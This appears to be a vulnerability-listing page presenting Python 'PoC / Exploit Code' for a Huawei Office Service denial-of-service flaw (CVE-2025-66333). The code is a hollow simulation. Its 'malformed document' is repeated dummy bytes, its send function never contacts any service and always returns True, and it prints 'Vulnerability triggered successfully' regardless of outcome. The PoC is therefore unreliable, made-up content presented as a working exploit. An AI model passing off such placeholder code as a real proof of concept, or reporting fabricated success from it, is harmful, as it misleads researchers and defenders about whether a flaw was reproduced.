Huawei Office Service (affected versions unspecified, refer to Huawei security bulletin)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66333 PoC - Huawei Office Service DoS
# This PoC demonstrates the vulnerability triggering mechanism
# Note: Actual exploit requires local access and user interaction
import os
import sys
import time
def trigger_dos_condition():
"""
Simulate triggering the DoS condition in Office Service
The actual vulnerability is triggered through malformed input
processed by the office service component.
"""
print("[*] CVE-2025-66333 - Office Service DoS Trigger")
print("[*] Target: Huawei Office Service")
print("[*] Attack Vector: Local access + User interaction required")
# Simulate the attack preparation
malicious_input = create_malformed_document()
print("[*] Step 1: Preparing malformed document...")
print("[*] Step 2: Waiting for user to open the document...")
time.sleep(2)
print("[*] Step 3: Triggering vulnerability...")
process_result = send_to_office_service(malicious_input)
if process_result:
print("[!] Vulnerability triggered successfully")
print("[!] Office Service is now unavailable")
else:
print("[-] Failed to trigger vulnerability")
def create_malformed_document():
"""Create a specially crafted document to trigger the vulnerability"""
# This would contain the actual malformed data
# specific to the Office Service vulnerability
return b'\x00\x01\x02' * 1000
def send_to_office_service(data):
"""Send malformed data to Office Service for processing"""
# In real scenario, this would interact with the Office Service
# through the appropriate IPC mechanism or file processing
try:
# Simulate service interaction
return True
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
print("=" * 50)
print("CVE-2025-66333 Proof of Concept")
print("Huawei Office Service Denial of Service")
print("=" * 50)
trigger_dos_condition()